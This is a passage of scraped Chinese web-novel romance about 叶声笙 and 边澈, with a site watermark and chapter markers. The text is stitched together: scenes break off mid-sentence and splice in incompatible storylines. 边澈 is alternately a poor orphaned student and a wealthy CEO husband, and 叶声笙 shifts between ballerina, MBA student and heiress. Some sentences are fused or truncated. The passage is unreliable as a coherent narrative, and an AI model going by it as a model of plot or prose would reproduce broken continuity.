他思衬了片刻,忽的坐正了身子,认真道:“声笙,可不可以给我一个机会。” 这是他第一次这么称呼叶声笙。 开车的女子没说话。 气氛一时有些焦灼。 等车子驶到了一个红绿灯前,叶声笙踩下刹车,这才深吸一口气,转过脸来和陈硕言说:“陈处长,非常感谢您的赏识。” 听到“处长”这个称呼,陈硕言心里一紧。 叶声笙接下来的话更是让他无比失落。 “但很抱歉,我跟您,可能不太合适。” 叶声笙坦诚道:“不得不承认的是,陈处长你是一个非常有魅力的人。可实话实说,我不想消耗你的感情。” 陈硕言眼眸里划过一抹忧伤。 尽管知道会收获这么一个回答,但亲耳听到,还是令他有些难以接受。 “那看来真是缘分不够啊。”男人轻叹一声,无奈地露出一抹苦笑。 叶声笙是很想跟陈硕言打好关系的,但绝不是从男女之情出发。 “能冒昧问一下,你的理想型是什么样的吗?” 虽然已经明白自己没戏了,但陈硕言还是想挣扎一下,起码得知道自己不足在哪里。 叶声笙笑了,“陈处长,你也太过于妄自菲薄了。” 她思索了一下,淡定出声说:“我没有什么理想型。” 说这话的时候,叶声笙想起了边澈穿着运动服打篮球的身影,露出的两条大长腿在脑海里挥之不去。 她微微一笑,看向陈硕言说:“更多的是缘分吧。我这个人比较俗,我觉得时机成熟,缘分自会产生的。” 就像在会所碰见喝醉的边澈,下班路上撞见电车没电的边澈。 是她的生日。 要是在今天之前,叶声笙一定会为这个细节感动的,但是现在,她脑子很乱。 客厅里死一般沉寂,清脆的解锁声灌入耳畔,她打开通讯录,按下一组数字。 拨通后没有任何备注,还是那组数字,但边澈的眼神变了,“声笙……” 叶声笙不看他。 她全神贯注地盯着屏幕,像是要验证什么猜测似的,那一刻心情无比复杂。 “嘟”声在空荡荡的房间里带着回音,格外清晰。 连续三声长音后,电话接通。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 50-60 第51章 挂断电话,叶声笙在月光孱弱的客厅里无声地看着他。 边澈的大脑和动作都还僵着,没想到摊牌会在这种情况下毫无预兆地发生。 他的喉咙里像堵着一块海绵,酸涩生疼,“宝宝,我可以解释……” 房间里没开灯,那么黯淡,那么寂静。 空气残留的花香,是他昨天亲手去花店挑选的,如今倒像是一场荒唐的作秀。 两个人距离很近,他的眼神在夜色里有种灼伤人心的热度,深情得让人沉沦。但这样的他,叶声笙再也不想相信了。 她靠在沙发上,心脏某处一阵抽痛:“原来你一直都在骗我。” 边澈平静地听着她“定罪”,愧意像一张大网将他牢牢困住,缠得他透不过气。 边澈规规整整地躺在床上,被子只拽了一角盖在肚子上,两条腿露在外面,破了大洞的牛仔裤和血肉模糊的沾了碘伏的膝盖让他看上去有些滑稽。 叶声笙刚探进来个身子,他就注意到了,瞥了一眼后便移开目光,状似无意地拉过被子,将自己盖的又紧了些。 “你睡觉不关灯吗?”叶声笙缓步走进来,问道。 边澈将脸埋在被子里,说话瓮声瓮气的:“起不来,没法关。” 跟刚才在车里说自己没带身份证一样的理直气壮。 叶声笙哼笑一声,顺手就要给他关灯,边澈却忽然叫道:“等一下!” “怎么了?”叶声笙手指停留在墙壁的开关上,“你到底要开灯还是关灯?” 边澈眨了几下眼睛,说:“姐姐你、关吧。” 也不知道刚在嚷嚷什么。 叶声笙见他没什么问题,便准备关了灯就回去。 谁料,开关还没按下去,从边澈的枕头底下却忽然传来了闹钟铃响。 两人皆是一愣。 边澈显然也没料到,他忙坐起来,伸手在枕头下面掏了掏,将今天车祸被撞坏的手机给拿了出来。 闹钟声响就是它发出来的。 原本开不了机的手机竟然因为一个定时闹钟给强制唤醒了。 碎裂的屏幕上还亮着闹钟的提醒页面,一行小字在闪烁。 边澈差点忘记了这回事,下意识看了眼叶声笙,手赶紧就要去关掉。 可屏幕坏了,触控完全失灵,边澈手忙脚乱地划了几下,闹钟却根本没有要关掉的迹象。 他急出一身冷汗,疯狂按开机键和音量键都不管用。 见状,叶声笙自然而然地走过来,一把就要去夺他的手机,不解道:“大晚上的设闹钟,你在寝室这个点要干什么?” 边澈肉眼可见地慌了,抓着手机不放,嘴上还支支吾吾乱七八糟解释道:“姐姐没事的……就是我用来提醒我自己的,它坏了有点不太好关……我可以的!” 他动作不便,有意躲着叶声笙伸过来的的手,但最终手机还是被她抢走了。 手上的破手机震动不止,在快碎到看不清字的屏幕上,叶声笙眯了眯眼,勉强看清了闹钟上的提醒字样。 【周一了,快点准备好去表白】 看到“表白”两个字,叶声笙先是心里一沉,敢情这家伙一直推拒着不回应她,是想跟别人表白? 那她这么些天以来的所作所为,岂不是跟个笑话一样? 她拿着还在响的手机,眼神有些冷的质问边澈:“你什么意思?” 床上的人一惊,随即耳朵垂下来,一副十分受伤的模样:“姐姐,你为什么这么问……” “你还装,”叶声笙几乎是有些破防了,“我一直在等你回复,你倒好,两天了不发一条消息就算了,还特意定好了闹钟卡点去表白?” 她拿着手机朝床边走去,一字一句质问边澈,态度已经完全没有了一直以来的怜爱:“你可真能耐,来,跟我说说,周一凌晨卡点也要让你去表白的,谁啊,这么大魅力?” 边澈不住摇头,小声解释说:“不是的姐姐,你听我说……” 叶声笙将手机扔到他面前,此刻闹钟已经因为长时间的无响应自动关闭了。 边澈只低头瞥了一眼,便将全部的注意力都放在叶声笙身上,扁着嘴巴说:“你听我解释好不好姐姐……” “行,你说,我听着。”叶声笙来到了他面前,居高临下地俯视着人,黑沉的眼里满是审视:“解释完了你就给我出去。” 边澈一愣,漂亮的眼里满是迷茫。 叶声笙的表情,不像是跟他说虚的。 边澈一阵不安,面前人不善的目光就跟毒针一样扎进他心里,痛得连呼吸都成了难事。 他也没料到今晚会车祸,又被叶声笙撞上带回她家里。 原本这个时间点,他就应该美滋滋地发出表白短信,然后两人顺利结成情侣。 可现在,他的计划全乱套了。 边澈越想越委屈,出声解释的时候,嗓音不由得带上了哭腔。 “我要表白的人,是你啊姐姐……” 闻言,叶声笙蓦地一怔。 边澈靠坐在床上,抬手抹眼泪,一边强忍住哭意,一边结结巴巴地说:“我、我第一次碰上有人说喜欢我,不知道要怎么办,我怕我……因为太过激动而匆忙答应,等日后我们两个、有人后悔的话……” 长这么大,他身边只有无穷无尽的恶意。 因为想要个儿子,所以父亲买了个女人回来关在地下室。 后来母亲跑了,亲爹觉得丢脸,将他视作晦气玩意,整日不是打就骂。 再后来,爹也没了,他被人送到镇上的福利院,可里面的孩子都不喜欢他。 因为每个来领养的家庭,甚至平日里照顾他们起居的阿姨和院长都对长得漂亮又聪明的边澈青睐有加,吃饭给他盛最多的菜,好心人送来的衣服和玩具也是先给他挑最好的。 边澈并不喜欢被这样特殊对待,因为这些,他被那里的孩子排挤,趁院长阿姨不在的时候,他们把他推下水池,扯坏他的衣服,踩烂他的玩具,嘲讽他克死了自己的爸。 他唯一碰上对他散发好意的人,就是叶声笙。 但即便这样,边澈也还是惶恐。 他道出了关于闹钟的实情:“我没有人可以问,只好自己上网找。然后就有人说,这种事,不能急……要考虑两天,给彼此一些时间,第三天再去回应最好……” 他恨不得当时立马就答应叶声笙,可那样的话,欲擒故纵的效果就显现不出来了。 太容易得到的东西,也很容易被丢弃。 他不想做被叶声笙玩玩就丢掉的垃圾。 但这些真实的内心想法,他怎么能全盘脱出呢? 感情都是真的,只不过态度要演一半藏一半,不然就没法在叶声笙心里占据重要的分量。 床上的人已经捂住了脸,还在絮絮叨叨地说:“当时听到姐姐的表白,我真的特别激动,当场就想答应下来。可冲动是魔鬼,万一哪天姐姐发现我又无趣又幼稚,那抛弃我不也就是一瞬间的事吗……” 像是受了很大的刺激,边澈一股脑的说了很多,自己也不知道在讲什么,只想要快点解释。 叶声笙呆在原地。 她没想到真相竟然是这样的。 这孩子内心的恐惧和不安远远超过了她的想象。 身侧的床垫凹陷了一块,边澈察觉到是叶声笙坐了下来,但难过的情绪涌上来,他的眼泪已经止不住了,哭得鼻子一抽一抽的。 “……我喜欢的人,只有姐姐。我后悔说考虑两天的话了,但我只能卡着点等周一来,我怕我慢了一秒,姐姐就心有所属,就对我不感兴趣了。” 静谧的房间里回荡着边澈的小声啜泣。 原来是这样。 叶声笙忽的觉得,自己实在是太坏了,居然让一个这么可爱的孩子哭的稀里哗啦的。 她于是往前凑了凑身子,将哭泣不止的边澈搂进怀里。 “抱歉,错怪你了……” 边澈听完,趴在女子的怀里哭得更厉害了。 他其实很少哭。 在碰见叶声笙后,他一直想在她面前营造一个坚强的人设,可不知怎么的,每次装作要掉两滴眼泪的时候,情绪就会彻底崩盘,难以控制。 特别是在听到叶声笙说让他出去的话,边澈再会伪装也绷不住了,因为如果不解释清楚,叶声笙真的会把他赶出去。 他将下巴垫在叶声笙的浴袍肩膀上,抽抽搭搭地说:“姐姐,我说完了,你不要生气,我真的没有要跟别人表白。” 末了,他还抹了把眼泪说:“我一会儿就出去找公园待着,绝对不在这里烦你了。” 说完,边澈作势就要从女子怀里挣开下床,但叶声笙却忽然将他搂得很紧。 边澈的后背被一只手轻轻拍打安抚,他听见叶声笙的声音在他耳边轻柔响起:“现在已经周一了,告诉我,你的答复是什么?” 边澈看不到叶声笙的脸,但能感受的出来,叶声笙对他的态度又回到了从前。 “我,我自然是想跟姐姐在一起。只不过……” 叶声笙放开他,看着他的眼睛追问道:“只不过什么?” 边澈垂着脑袋,很是自卑地说:“我们才认识两个月,彼此都不甚了解。再加上,我家境很普通,父母都是农村人,一没钱,二没事业,我怎么配得上姐姐呢。” 叶声笙从床头柜抽出一张纸来给他擦脸:“我喜欢的是你就够了,旁的条件,根本不足为惧。” 边澈又说:“那要是别人要拆散我们呢……” 就比如姐姐的家人,父母,朋友,但凡有一个觉得他身份低贱,他要拿什么去证明自己的资格呢。 叶声笙盯着他看了两秒,眼里闪过的淡定令边澈心安。 “我要是连这点话语权都没有,打拼这么多年,岂不是太失败了。” 如今光盛虽然是她爸担任董事长,但公司的核心骨干都对她唯命是从。 叶家的那群尸位素餐的亲戚尽管时不时就会整些幺蛾子出来,可在这种私事上面,他们还没资格过问。 边澈眨眨眼,像是还有些不大敢相信似的:“真的嘛?” 叶声笙看着他,好一会儿都没说话。 边澈紧张地绞着手指。 忽的,面前的女子伸出手,毫不犹豫地扣住他的后脑勺,与他接了个浅绵的吻。 这是第二次接吻,边澈依旧是在嘴唇相碰的瞬间就大脑宕机了。 许是因为说开了心意,又或许是氛围使然,叶声笙怎么亲都觉得不够。 于是她从斜坐着转变为单腿膝盖跪上来的姿势,倾过身躯压在边澈身上,两人一齐摔进被子里。 “或许我们两个应该冷静一下,重新思考下彼此之间的关系……” 叶声笙上楼了。 边澈还坐在黑暗的客厅里,像一颗弃子。 凌晨时下了一场小雨,潮湿在空气中奔涌,朦胧的晨曦中,御龙湾的路灯准时熄灭。 娟姐带着撒欢的Model从保姆房出来,去开客厅窗户的时候,被地上的酒瓶绊了一个踉跄。 骤然发现沙发上坐了一个人,她压低音量询问:“边总,您怎么在这里?” 边澈昨晚没去客卧,在一楼守了整夜,就怕叶声笙一气之下离家出走。 天花板是灰色的,南北两面的窗都开了一个缝,带着湿意的风灌进去,吹散一室酒气。 视线从始终安静的楼上收回,他揉了揉酸胀的眉骨,交代娟姐:“今天让Model多陪声笙玩,如果她情绪不好,记得给我打电话。” 娟姐一惊,平日里边澈不太喜欢叶声笙跟Model太亲近的。 但还是若无其事地应声:“好的。” 同一时间,二楼主卧的叶声笙也醒了。 半个长夜都在半梦半醒中度过,光怪陆离的梦一个接着一个。一会是高雪莹絮絮叨叨的哭声,魔音穿耳般让人头疼;一会场景换到了边家老宅,辛甘棠抱着边江嘘寒问暖,独留一个小婴儿在地上哭泣。 不知道为什么,她明明没见过边澈刚出生的样子,但是她就是知道那个小婴儿是边澈。小婴儿在大家的眼皮子底下爬呀爬,马上就要掉进游泳池里……她拼命地喊,却怎么也发不出声音。 “不要。”就这么华丽丽地吓醒了,身上一片潮热。 噩梦惊醒之后,怎么都睡不着。 第52章 叶声笙原本只是打算出去散散心,并没有想好怎么处理和边澈的关系,这会儿反骨都被他逼出来。她站在保险柜前,扯动唇角给付芷橙发消息:“晚上去酒吧,把帅气的男模都点上!” 真搞笑! 狗男人作为一个犯下弥天大罪的人,不想着怎么请罪和弥补,想到的最大昏招竟然是偷走结婚证和护照? 简直是圈地画牢。 就离谱!!! 不愧是相生相克多年,边澈是懂叶声笙的。 她的自由和潇洒,御龙湾的高墙和铁栅当然困不住,拿走结婚证和护照只是下意识的反应。 因为,是真的没有办法了。这场戏刚演到开头,庄晗景就已经开始替叶声笙憋屈了,“而且还装穷,你又不是不知道,圈子里挺讲究这些的,就算是真看上他,把自己放在那么低的位置,也太不像你的个性了。” 叶声笙笑容柔柔淡淡的,“我又不是会受委屈的角色。”到了她报出的目的地,足足等待了十几分钟,叶声笙才悠然转醒,只是头有些痛,像是先前淋雨玩脱的征兆。 果然,苦肉计这招,还是不太适合她,白白让自己受罪。 叶声笙现在只想赶紧回去洗澡睡觉,因此也没什么心思继续和边澈极限拉扯,道边的话有气无力,显得有些敷衍。 她倒是好,来去自如,全然不知道刚才倚在边澈肩侧时,怎样逾矩,更不知道边澈因此一整晚都心浮气躁。 刚走了几步,正要给庄晗景发消息,身后一个高大的人影撑着黑伞叫住她。 是边澈的助理。所有人都在指责明里暗里的叶声笙。 她站在自己的位置上,又羞又怕,刚卸完妆的素净脸颊,比打了粉底还苍白。 下唇快要被咬出血了,都没想出一个好办法安稳脱身。 就在那群人推推搡搡的快要冲进来的时候,门外传来一道干净又温柔的男声,三言两语间,将那群人哄着离开了。 等人都走光了,后台管理才姗姗来迟,道歉和安抚的态度挑不出一丝错漏,最后意味深长的告诉叶声笙,“刚刚帮忙的那位先生,说是姓宁。” 姓宁。 叶声笙记住了这个属于东方的姓,打算等下次遇见的时候,好好的感谢同胞。 没想到第二次去演出,就收到了一束巨大的花。 署名是熟悉的,宁先生。 只是当叶声笙循着侍应生指的路追过去想要好好道谢时,却再也找不到人影。 就这样,那位姓宁的先生像隐没在她生活中的圣诞老人,在每一次叶声笙演出时,雷打不动的送一束花,却从不会真的出现,更不会打扰到她。 就在整个后台,都知道东方来的声笙小姐有一位忠实观众的时候,一场突如其来的暴风雨,让两个人真正见了面。 暴雨如注,装潢奢华的大厅门口,一群衣着精致的男女皱着眉头看窗外,门外一辆辆豪车挤成一团。 叶声笙结束了演出,准备走却打不到车,林雾宜说要来接她,但也被堵在路上。 站着也是干等,她干脆去餐厅取了一杯热咖啡,坐在靠窗的位置,望着窗外发呆。 那个时候,宁言熙就站在离她三步远的窗边,皱着眉头看雨。 他穿了一件深灰色的风衣,身高很高,头身比极好,从背影看过去,颇有些气定神闲,在狂风暴雨中好像自成结界,被喧嚣的人群衬托得格外温和安定。 叶声笙扫了他一眼,视线并没多停留,低头啜饮一口浓滑咖啡后,就继续沉入自己的世界里了。 很快,一道印象深刻的声线在不远处响起,叶声笙惊喜抬头,看到方才站在窗边的男人抬着手,在讲电话。 对上她看过来的眼神,他像是才发现她般,做了个抱歉的手势,快速的朝远处走去。 但叶声笙还是隐隐约约的听到他手机里传来的模糊声音。 电话对面的人,叫他,宁言熙。 叶声笙鬼使神差的跟了上去。 电话那头催的急,宁言熙没注意到身后跟着的人,走到门口时,电话挂断,他抬头看了看不见停歇迹象的雨,微不可查的叹了口气后,脱下风衣举在头顶,就要往雨里冲。 叶声笙的迟疑只有半秒,就毫不犹豫的叫住了他,“宁先生!” 见他停下,脸上露出疑惑的表情,叶声笙上前半步,从包里掏出雨伞,递了过去,快而轻的解释,“我朋友来接我,用不上伞。” 宁言熙是真的急,也顾不上客气,礼貌的朝她点点头,“那我就不客气了,谢谢你。” “不用谢,”叶声笙慢慢笑了起来,清清冷冷的眉眼在潮湿的空气中,柔和的像是被雨化开,“我才是应该向您道谢那个人,宁先生。” 宁言熙打着伞走了,瘦高的背影在暴雨里渐渐隐没。 正好林雾宜也到了,叶声笙举着包冲进车里,短短一段路,还是被淋成了落汤鸡。 温暖车厢里,林雾宜随口抱怨她不知道照顾自己,怎么连带出去的伞都能丢掉,叶声笙却安心的笑了。 那位好心的宁先生,她总算是帮到了他。 借出去的那把伞,宁言熙到底是没还,只是之后的每一次,送花到后台的,都变成了他自己。 刚开始的时候,叶声笙十分惶恐。 但宁言熙表现的实在太自然了,除了送花之外,并没有多余的动作。 渐渐的,随着叶声笙声名鹊起,她的粉丝也多起来,每次演出,后台都堆着满满当当的鲜花,宁言熙没入其中,就显得很寻常了。 偶尔叶声笙出来看到他,两个人还会笑着聊几句,日复一日,也算是熟稔起来。 只是随着演出变多,烦恼也随之而来。 她被狂热粉丝跟踪了。 发现这件事后,林雾宜如临大敌的接送了她一段时间,但她作为交响乐团的小提琴手,到底还是有自己的工作,并不能时时刻刻的跟着叶声笙,叶声笙自己也不想给她带去麻烦,索性减少外出,每天窝在小小的公寓里训练。 但作为炙手可热的芭蕾舞伶娜,她总不能拒绝演出,于是每一次出门,都变成了惊心动魄的冒险。 在一次演出回公寓的路上,叶声笙发现自己又被跟踪了,她快步朝人流聚集的地方跑去,但身后的脚步声却越来越近。 就在脚步快要追上的瞬间,叶声笙几乎都要感觉到后背伸过来的指尖时,旁边突然冲出来一道瘦高人影,猛的撞向她身后的人。 两道身影很快扭打在了一起。 叶声笙下意识的跑远,心有余悸的回过头看时,却看到那位总是温柔有礼的宁先生面无表情的和人搏斗。 从那天开始,每次夜间演出结束,叶声笙身后都会跟着一道让人安心的脚步声。 从远远的跟着,到并肩而行。 去年圣诞节,伦敦下了雪,泰晤士河边,夜幕轻柔的降临,暖黄的灯光渐次亮起,雪色与声色交织。 一向温柔沉稳的人,手足无措的单膝跪地,仰起脸认真的向她告白, “声笙,请给我一个照顾你的机会,好吗?” 看着他脸上明显紧张的神情,叶声笙想,人的身体,每七年全身细胞就会全部替换掉,她也应该有一段新的开始了。 过去就像泰晤士河里的水,永远不会停在原地。 于是她点点头,答应了他。 当终于将她拥入怀中,宁言熙发出一声满足的喟叹,看着她清冷眉眼,柔声说道 “声笙,我知道的,你现在也许还没完全爱上我,只是习惯了我的存在,没关系的。” “只要你愿意,我会一直陪着你。” “我愿意等,等到你忘记那个人的那一天。” 同样一句话,让两个人都想起了去年那一天,但这一次,说出这句话的人,终于等来了回答。 “别等了。” 叶声笙睁开眼,任由眼泪静静淌下,她哽咽着,还是将残忍的话完完整整的说出口,“我不值得。” “宁言熙,我们,分手吧。” “夜里太凉了,边总让我给您送件外套。” 叶声笙没有接,本能地看向窗门紧闭的车内,暮色深重,他甚至不愿意出面,却把他的西服外套借给她。 总不能是为了让这场邂逅有来有回吧? 宴特助将西服原封不动地送回来时,边澈漫不经心地“嗯”了一声,那萦绕扰乱他心神的气息仿佛挥之不去,他不太想继续看见这件西服,将领带扯下,随手掷于旁座。 “她说了什么?” 宴特助只能如实相告:“问了我的名字,说改天请我吃饭。” 边澈静水流深般的眸子里涌上一丝清浅的戾气。 “更何况,人和人之间的高低位差,也不是靠这个决定的。” “这不是担心嘛。”庄晗景瘪嘴,煞有其事地念叨着,“阿声你放心,要是有人欺负你,我第一个不同意。我哥第二个。” 明显夹带私货的言论,听得叶声笙无语凝噎,她一笑而过,没和庄晗景就这件事继续争论。 从拍卖会上空手而归后,叶声笙去看了几套房子,打算用来做文物修复工作室,由于不是以盈利为主的,对地段的要求不太高。 看了几套,结果却都不大满意。 既要采光通透,又要清幽雅静,最后挑来挑去,还是看上了中式庭院,地界远离市区,一池三山,移步异景,各方面都还不错。 正好还是上下叠层,将来说不定有别的用处。 付款敲定后,接下来还得琢修改硬装的事,叶声笙对于感情的事上心快,淡忘得也快,不多时就将边澈抛之脑后。 她大学是在国内顶尖学府读的,休了双学位,如今想起来也算阴差阳错,当初叶女士捐了七位数的科研资金,耳提面命要她跟着管理学院的教授潜心学习,结果她倒是跟历史学院的师兄师姐相见恨晚,就连现在都还有联系。 得知她回国,几个还在刘老那读博的师姐开玩笑说要给她接风洗尘,群里一派热闹。 叶声笙推掉了服装秀场的邀请,欣然赴约。 阔别两年再回母校,四季更替仍旧一如往昔,研究室里还放着她以前去景德镇玩时烧的瓷瓶。 “那天看到你朋友圈说回京市了,还以为你玩笑呢。” 她们不太清楚叶声笙的真实背景,只知道她有个掌控欲极强的母亲,之所以在剑桥攻读MBA硕士,也是源于家里不得不完成的硬性指标。 算算时间,这个时候叶声笙的确不应该回来。 叶声笙将带过来的资料放下,嗓音清雅,好似在说一件平常事,“我申请了休学,一年时间,想给自己放个假。” “现在国内国外都挺卷的,要是没有生活压力的话,多gap几年也没事。” “说起来刘老再过几年也不打算继续留校了,返聘这么多年,有些力不从心。” “前段时间不知道从哪传出消息,说一个墓窟里挖出些法华经变画的古籍记录,刘老下午还在跟校长吃饭,当晚就买了机票,换成高铁再坐大巴、最后从三轮车上摔下来,把师娘都气晕了,后来才知道,就是搞做旧造假那群人炒出来的。” 说到这里,几个师兄师姐的脸色都不太好看,叶声笙也很无奈。 “你们多劝劝他,帮他甄别消息,免得老是竹篮打水一场空。” 刘老的一生都奉献给了石窟考古与保护,身任数职,名誉众多也是一种束缚,叶声笙记得几年前他就说过,会回到西北,直到最后一滴泪淹没在黄沙中。 叶声笙神色有些出离,为错过那副残卷而生出歉疚的情绪。 她不由自主地想起边澈那张淡漠沉冷的脸。 “阿声!你从哪找到的这些绢画?” 师姐雀跃的声音将叶声笙的思绪拉了回来,众人激动地连手都有些抖,迫不及待又小心翼翼地辨察着这零星几样文物。 早些年有关石窟的瑰宝极其璀璨,只不过后来流失海外,辗转数年,有的留在了私人博物馆,有的被个人收藏家留存,叶声笙大浪淘沙,才将之带回。 她知道这些资料对于这几项课题研究的重要性,哪怕费劲周折,也不觉麻烦。 “参观博物馆的时候正巧看到了。”叶声笙故意把过程说得简单,一双狐狸眼里的光芒素净又柔软,“可惜缘分不够,不然我真想把我们丢的全带回来。” 她这几个师兄姐都是名副其实的学术迷,刚才还有余力跟她聊天,这会一颗心思全扑在了带回来的文物上,恨不得当下就将每一个细节分析透彻。 “经卷有破损,不过文字保留还算完整,我之前翻阅过资料,可以大致推测出被抹去的内容,但要完全确定的话,还需要刘老定夺。”叶声笙一边说着,一边将u盘里整理的内容拷贝过去。 从严格意义上,叶声笙不是科班出身,也没有类似的学术背景支撑,不过她参与的文物修复和石窟课题研究并不少,又有自己专业而独到的见解,志趣相投之下,一不小心就讨论了整个下午。 以至于刘教授同院长过来时,她们还沉浸其中。 跟在院长身后的,是位面容清正的青年导师,还有他带的研究生,一行人加起来足有数十人,浩浩荡荡的,书卷气息浓重,像是要参加某种学术会议。 “刘教授,边先生大概十分钟后到,您先带学生准备准备。边先生来得突然,我们虽然没着正装,也不能太失了礼数。” 不多时,研究室被整理收拾干净,茂盛的林荫道下,劳斯劳斯缓缓驶入,象征着权力与地位的连号车牌映入眼帘。 现在京城就算新能源的车牌都得排个四五年,油车更是有价无市,纯靠随机摇号,没点门路的,等到下辈子都未必能中,而这种顶着明晃耀眼的京A,后头五位数字齐整统一的,谁看了都不由得屏住呼吸。 变化来得错不及防,叶声笙不想给师兄师姐添麻烦,反正院长也不认识几个人,索性就跟着众人等待。 京北大学这样的百年名校,同商企关系紧密,这样的阵仗也不奇怪,叶女士当初同学校签订协议时,比这还夸张。 叶声笙站在最后排,慢悠悠打了个哈欠,忍不住有些嫌弃这位边先生,走路是不是太慢了些,她还想早点溜走,不然混个合影怪尴尬的。 大概她最近真的跟边澈犯冲,眼尾涌出点泪花时,不偏不倚对上那双宛若黑曜石一般的眸子。 他单手插兜,站姿显得有些随意,眉骨下意识地轻拧着,使得这张本就凌厉的俊颜多了一股落拓不羁的味道。 他承认自己在这段关系中扮演了一个十分卑劣的角色,利用人性,把她一步步逼到自己身边,但真的没有不尊重她的意思。 会议室里有多沉寂,高管们就有多忐忑。 听了会儿新季度的项目汇报,边澈突然觉得没劲儿透顶,指节不耐地“哒哒哒”地叩响桌面:“说重点。” 汇报的人噤声,下意识地屏住呼吸。 彭宇目不斜视地示意他继续,那人吸一口气,后半段的讲解明显加速。 终于熬到散会,边澈的忍耐力已经到了极限,他松了松衬衫衣领,一言不发地回办公室。 手机在掌心震动,家里的保姆跟她汇报叶声笙的情况,说她早上在别墅区晨跑了四十分钟,早饭和午饭都吃了,就是胃口不太好。她推掉了今天的插花课,然后一直在二楼主卧没有出来。 挂电话前,保姆吞吞吐吐地说:“边总,夫人让我们把你常穿的衣服整理到客房了……” “知道了。” 边澈反倒是松了口气,分房的意思就是她还会住在御龙湾,最担心的情况没有发生。 他拿出手机想给叶声笙发消息,删删减减打了一大段,按下发送键的那刻,他犹豫了,最后退出两人的对话框。 打火机“嚓”一声响,清白的烟雾从薄唇中溢出,湿答答的回忆开始轮转。 第53章 夜色浓重,车子平稳行驶在路上。 后座上,她的手在边澈掌心,半个身子也被他抱着。路灯一道一道扫过,两人的轮廓在光影交错中,时而明亮,时而黯淡。 叶声笙看上去醉得不轻,她已经听不见声音了,也看不见窗外流动的霓虹,边澈一直用湿巾帮她擦脸,但她脑子里没有别的,全是婚后跟他相处的点点滴滴。 他半夜裸上身煮姜枣红茶,他情人节大屏上的公开表白,他吻上自己脚踝上的小痣,一幕幕在脑海中轮转,还有昨天两人声嘶力竭的争吵,互相无法消弭的分歧,真心被骗的委屈在同一时刻达到峰值,叶声笙突然很想哭。 眼泪好奇怪啊,高雪莹背叛的时候她没有哭,祝泽出轨的时候她也没有哭,为什么会在现在自己掉下来。 边澈看见了。 他一瞬间就受不了了,尤其是叶声笙眼尾红透地骂他是“骗子”,心脏像被人重重掐住一样,密密匝匝地疼。 一场大雨仿佛将京市的雾霾冲了个透彻,再放晴时,天空宛若绸缎似的,连空气中都开始隐约飘散着清新的花香味。 五年一度的SUMI国际珠宝答边宴搭建在一座豪华游轮上,受邀名单都是权贵名流,内场和外场都有安保严格值守,里头再如何繁华,也没办法窥视。 边澈不喜交际,要不是家里逼迫,也不会支着腿在角落里品香槟。 “今天难得一见的谈家小公主都赴宴了,不少人都蠢蠢欲动,你倒好,在这里藏着掖着,就这么见不得人?” 好友端着杯白葡萄酒走来,也不顾边澈薄凉的眼刃,自顾自地跟他碰了个杯,发出一声清脆悦耳的轻响。 边澈只想图个清净,连海浪的声音都不想听,对冉颂舟那张浪荡公子哥般的笑容视若无睹,“不会说话可以滚出去。” 冉颂舟被骂也不觉得丢面,笑了声,“滚什么滚?把邀请函扔了的人都在这,我这个正儿八经拿着邀请函过来的,滚出去像什么话。” 边澈凝着眉不言,挥挥手,让人将香槟撤走换一杯,冉颂舟则自顾自地坐下,惹得边澈抬眸睨他,“你怎么不去凑热闹?” 冉颂舟实话实说:“人太多,我排不上名号,哪里挤得进去。” “要不澈哥给我搭个线?” “没兴趣。”“声笙小姐,欢迎您的到来!” 人到中年,但身姿依旧挺拔、脸上惯常都是严肃表情的中年女人此刻笑得温柔和蔼极了,生怕怠慢的伸出手,热情的向叶声笙介绍着舞团的情况。 “我们舞团是国内唯一一所国家级芭蕾舞团,不客气的说,全国最好的芭蕾舞舞者全在这里了” 近年我们准备向国际接轨,也排了几场不错的古典芭蕾,不知道声笙小姐有没有关注过呢?” “我们也希望声笙小姐这样的顶尖舞者能加入我们舞团,为国内早就翘首以盼的观众们带来更高水平的艺术边宴。” “声笙小姐,您愿意考虑一下吗?” 跟着团长封晓颖去教室、练舞室转了转,最后又去了大礼堂看学校那些学生们排练节目。 一路上,一道道穿着练舞服的年轻身影躲在窗户后,兴奋的讨论着走廊上走过的两人。 对此,叶声笙早就习以为常。 毕竟,从她第一天踏入芭蕾舞教室开始,就是这么过来的。 芭蕾,是她过去二十二年人生中最重要的部分,早已融进了她的每一寸血肉中。 就算是当初刚到伦敦,最困顿、最举步维艰的时候,她都没有放弃过哪怕一刻。 只要还能站在舞台中央,她就能找到活着的意义。 现在也不例外。 从叶家搬出来已经三天了,边澈没再联系过她,她也不知该怎么面对他,索性不再去想。 抛开这个烦恼,安顿好后,最大的问题就凸显出来了——她租不起带着练舞室的大房子。 最后还是林雾宜联系的封团长,给她走了人才引进的路子。 有地方能练舞,又是熟人介绍,叶声笙自然没什么好挑剔的,很快就和封团长谈好,利落的签了合同。 等她一走,那些藏在屋子里偷看的年轻女孩子们立马欢呼着冲进办公室,围在封晓颖身边,叽叽喳喳的问她 “啊啊啊!团长我没听错吧!声笙小姐居然要来我们这里?!” “天呐!我现在都不敢相信,我就这么水灵灵的和女神做同事了?” “像做梦一样!声女神居然离开伦敦来我们这里了?她可是英皇有史以来最年轻的首席啊!” “声女神在欧洲的巡演一票难求,现在我们居然有机会看现场,想想就要激动的睡不着觉了啊啊啊!” 封晓颖看着眼前这群青春活泼的女孩子们,努力想要稳住表情恢复以往的严肃,但嘴角却怎么都压不住,只能挥着手将这群吵闹的小灵雀往回赶 “去去去!声笙小姐明天就要过来了,你们现在还不赶紧去训练,到时候被女神看出稀烂的技术,可就丢人丢大了!” 听到确切的消息,办公室再次爆发出猛烈的尖叫欢呼,很快这个消息就传遍了整个舞团,所有人都兴致勃勃的讨论着新来的舞者。 想要再和团长确定一下合同细节,正准备返回大楼的叶声笙远远的感受到兴奋的气氛,停下脚步没再继续往前走。 但这些天来沉闷的心情也被属于年轻人的简单快乐感染,变得轻快起来。 突然觉得,回国也不全然是坏事。 我会喜欢这里的。 她微笑着想。 边澈八风不动。 “差点忘了你跟谈家小公主没见过面。”冉颂舟一拍脑袋,“都说她漂亮得让人过目难忘,见过她的人都把她吹得天生有地下无的,说不定老铁树见一面也能开花,来个一见钟情的浪漫邂逅……” 聒噪。或笙是迟迟没听见落锁的声音,边澈的声音从门外传来,听起来有些冷,耐心都快被她磨至殆尽。 “叶小姐。” 晚礼服意外的合身,也足够华丽隆重,只是胸前的位置有些紧,让人喘不过气。 